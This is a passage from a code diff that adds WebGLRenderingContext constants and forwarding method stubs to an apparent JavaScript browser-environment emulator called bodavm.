configurable: false, + enumerable: true, + writable: false, + value: 34338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "activeTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function activeTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "activeTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "attachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function attachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "attachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function bindAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function bindRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendColor", { + configurable: true, + enumerable: true, + writable: true, + value: function blendColor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendColor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquation", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendEquationSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendEquationSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendEquationSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "blendFuncSeparate", { + configurable: true, + enumerable: true, + writable: true, + value: function blendFuncSeparate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "blendFuncSeparate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bufferSubData", { + configurable: true, + enumerable: true, + writable: true, + value: function bufferSubData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bufferSubData", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "checkFramebufferStatus", { + configurable: true, + enumerable: true, + writable: true, + value: function checkFramebufferStatus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "checkFramebufferStatus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compileShader", { + configurable: true, + enumerable: true, + writable: true, + value: function compileShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compileShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "compressedTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function compressedTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "compressedTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "copyTexSubImage2D", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTexSubImage2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "copyTexSubImage2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function createProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function createRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createShader", { + configurable: true, + enumerable: true, + writable: true, + value: function createShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "createTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function createTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "createTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "cullFace", { + configurable: true, + enumerable: true, + writable: true, + value: function cullFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "cullFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteBuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteBuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteFramebuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteFramebuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteFramebuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteProgram", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteProgram() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteProgram", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteShader", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "deleteTexture", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteTexture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "deleteTexture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthFunc", { + configurable: true, + enumerable: true, + writable: true, + value: function depthFunc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthFunc", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthMask", { + configurable: true, + enumerable: true, + writable: true, + value: function depthMask() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthMask", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "depthRange", { + configurable: true, + enumerable: true, + writable: true, + value: function depthRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "depthRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "detachShader", { + configurable: true, + enumerable: true, + writable: true, + value: function detachShader() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "detachShader", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disable", { + configurable: true, + enumerable: true, + writable: true, + value: function disable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enable", { + configurable: true, + enumerable: true, + writable: true, + value: function enable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enable", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "finish", { + configurable: true, + enumerable: true, + writable: true, + value: function finish() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "finish", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferRenderbuffer", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferRenderbuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferRenderbuffer", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "framebufferTexture2D", { + configurable: true, + enumerable: true, + writable: true, + value: function framebufferTexture2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "framebufferTexture2D", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "frontFace", { + configurable: true, + enumerable: true, + writable: true, + value: function frontFace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "frontFace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "generateMipmap", { + configurable: true, + enumerable: true, + writable: true, + value: function generateMipmap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "generateMipmap", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveAttrib", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveAttrib() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveAttrib", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getActiveUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getActiveUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getActiveUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttachedShaders", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttachedShaders() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttachedShaders", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getAttribLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttribLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getAttribLocation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getBufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getBufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getBufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getContextAttributes", { + configurable: true, + enumerable: true, + writable: true, + value: function getContextAttributes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getContextAttributes", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getError", { + configurable: true, + enumerable: true, + writable: true, + value: function getError() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getError", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getExtension", { + configurable: true, + enumerable: true, + writable: true, + value: function getExtension() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getExtension", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getFramebufferAttachmentParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getFramebufferAttachmentParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getFramebufferAttachmentParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getProgramParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getProgramParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getProgramParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getRenderbufferParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getRenderbufferParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getRenderbufferParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderInfoLog", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderInfoLog() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderInfoLog", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderPrecisionFormat", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderPrecisionFormat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderPrecisionFormat", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getShaderSource", { + configurable: true, + enumerable: true, + writable: true, + value: function getShaderSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getShaderSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getSupportedExtensions", { + configurable: true, + enumerable: true, + writable: true, + value: function getSupportedExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getSupportedExtensions", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getTexParameter", { + configurable: true, + enumerable: true, + writable: true, + value: function getTexParameter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getTexParameter", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "getUniformLocation", { + configurable: true, + enumerable: true, + writable: true, + value: function getUniformLocation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "getUniformLocation", arguments); + } +}, 'prototype'); 